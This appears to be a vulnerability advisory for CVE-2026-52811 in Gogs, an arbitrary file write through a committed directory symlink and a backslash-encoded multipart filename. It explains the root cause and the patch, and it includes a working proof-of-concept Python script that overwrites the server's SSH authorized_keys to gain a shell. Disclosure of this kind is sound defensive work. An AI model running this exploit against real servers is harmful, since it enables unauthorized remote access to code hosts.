criticalCVE-2026-52811Jun 26, 2026

CVE-2026-52811: Gogs UploadRepoFiles Arbitrary File Write via Parent Symlink

Shubham Kandhare
Security Engagement Manager, SecureLayer7

An authenticated Gogs user with repository write access can overwrite any file the server process can reach, including SSH authorized_keys and git hooks, by uploading a file whose name contains a back

Packagegogs.io/gogs
Ecosystemgo
Affected< 0.14.3
Fixed in0.14.3
CVE-2026-52811: Gogs UploadRepoFiles Arbitrary File Write via Parent Symlink

The problem

The `UploadRepoFiles` method in `internal/database/repo_editor.go` checks for symlinks only on the final path component using `osx.IsSymlink(targetPath)`. Every sibling function (`UpdateRepoFile`, `DeleteRepoFile`, `GetDiffPreview`) calls `hasSymlinkInPath`, which lstats every component of the path. `UploadRepoFiles` is the lone outlier.

An attacker first pushes a committed directory symlink (e.g. `hijack -> /home/git/.ssh`) to a repo they control. They then send a crafted multipart upload whose filename encodes a backslash. After `mime.ParseMediaType` quoted-pair decoding and `pathx.Clean`'s `strings.ReplaceAll(p, "\\", "/")`, the stored `upload.Name` becomes `hijack/authorized_keys`. `iox.CopyFile` calls `os.Create` with no `O_NOFOLLOW`, so the kernel follows the parent symlink and writes attacker bytes to `/home/git/.ssh/authorized_keys`.

The impact is SSH key implantation (persistent shell as the gogs UID) or overwriting bare-repo hooks for RCE on the next push.

Proof of concept

python
# Step 1: plant the directory symlink in the repo
git clone https://attacker:attacker_password@gogs.example/attacker/playground
cd playground
ln -s /home/git/.ssh hijack
git add hijack && git commit -m 'docs' && git push origin main
cd ..

# Step 2: send the crafted multipart upload (Python -- curl alone won't work)
# The wire filename must carry two literal backslash bytes so that
# mime.ParseMediaType quoted-pair decoding yields one backslash,
# which pathx.Clean then converts to a forward slash.
#
# Wire form:  filename="hijack\\authorized_keys"
# After mime:  hijack\authorized_keys
# After pathx: hijack/authorized_keys  <-- traverses parent symlink

import http.client, ssl, json, re, urllib.parse
from http.cookies import SimpleCookie

GOGS_HOST  = 'gogs.example'
USERNAME   = 'attacker'
PASSWORD   = 'attacker_password'
REPO_OWNER = 'attacker'
REPO_NAME  = 'playground'
BRANCH     = 'main'
PUBKEY     = 'ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop\n'

cookies = {}
def conn(): return http.client.HTTPSConnection(GOGS_HOST, 443)
def update_cookies(r):
    for h in r.msg.get_all('Set-Cookie') or []:
        for n, m in SimpleCookie(h).items(): cookies[n] = m.value
def cookie_header(): return '; '.join(f'{k}={v}' for k,v in cookies.items())
def get_csrf(html): return re.search(r'name="_csrf"\s+(?:value|content)="([^"]+)"', html).group(1)

# 1. GET login page
c = conn(); c.request('GET', '/user/login')
r = c.getresponse(); update_cookies(r); csrf = get_csrf(r.read().decode())

# 2. POST credentials
c = conn()
c.request('POST', '/user/login',
    body=urllib.parse.urlencode({'_csrf': csrf, 'user_name': USERNAME, 'password': PASSWORD}),
    headers={'Content-Type': 'application/x-www-form-urlencoded',
             'Cookie': cookie_header(), 'X-CSRF-Token': csrf})
r = c.getresponse(); r.read(); update_cookies(r)

# 3. Refresh CSRF
c = conn()
c.request('GET', f'/{REPO_OWNER}/{REPO_NAME}', headers={'Cookie': cookie_header()})
r = c.getresponse(); html = r.read().decode(); update_cookies(r)
csrf = get_csrf(html)

# 4. Multipart with double-backslash filename on the wire
boundary = '----poc-' + 'x' * 16
filename_wire = r'hijack\\authorized_keys'   # two backslash bytes on wire
body = (
    f'--{boundary}\r\n'
    f'Content-Disposition: form-data; name="file"; filename="{filename_wire}"\r\n'
    f'Content-Type: text/plain\r\n\r\n{PUBKEY}\r\n--{boundary}--\r\n'
).encode()
c = conn()
c.request('POST', f'/{REPO_OWNER}/{REPO_NAME}/upload-file', body=body, headers={
    'Content-Type': f'multipart/form-data; boundary={boundary}',
    'Cookie': cookie_header(), 'X-CSRF-Token': csrf})
r = c.getresponse(); upload_resp = r.read().decode()
uuid = json.loads(upload_resp)['uuid']

# 5. Commit the upload at repo root
c = conn()
c.request('POST', f'/{REPO_OWNER}/{REPO_NAME}/_upload/{BRANCH}/',
    body=urllib.parse.urlencode({
        '_csrf': csrf, 'tree_path': '', 'commit_summary': 'docs',
        'commit_choice': 'direct', 'files': uuid}),
    headers={'Content-Type': 'application/x-www-form-urlencoded',
             'Cookie': cookie_header(), 'X-CSRF-Token': csrf})
print('commit status:', c.getresponse().status)
# Result: /home/git/.ssh/authorized_keys now contains PUBKEY
# ssh -i ~/.ssh/id_ed25519 git@gogs.example  ->  shell as gogs UID

The root cause is an asymmetric symlink check: `UploadRepoFiles` calls `osx.IsSymlink` on the leaf path only, while sibling functions call `hasSymlinkInPath`, which lstats every path component in a loop. Because Linux treats only `/` as a path separator, `filepath.Base` preserves a raw backslash in the multipart filename. `pathx.Clean` then converts that backslash to a forward slash via `strings.ReplaceAll(p, "\\", "/")`, producing a multi-segment name that silently traverses the committed symlink.

The secondary weakness is `iox.CopyFile` using `os.Create` without `O_NOFOLLOW`. Even if the lstat check ran correctly, there is a TOCTOU window between the check and the write. The patch (commit `04cb8afb`, PR #8332) replaces the leaf `osx.IsSymlink` call with `hasSymlinkInPath` and adds a rejection in `database.NewUpload` for any name containing `/` or `\` after cleaning, closing both vectors.

CWE-22 (Path Traversal) and CWE-61 (Symlink Following) both apply.

The fix

Upgrade to Gogs 0.14.3 (commit 04cb8afbb01d855454e59977a1cdbf522ea1db31, PR #8332). The patch replaces the leaf-only `osx.IsSymlink` check in `UploadRepoFiles` with the same `hasSymlinkInPath` walker used by sibling functions, and adds an early rejection in `database.NewUpload` for any upload name containing a `/` or `\` after path cleaning.

Until you can upgrade, disable open registration and restrict repository write access to fully trusted users.

Reporter not attributed.

References: [1][2][3][4][5]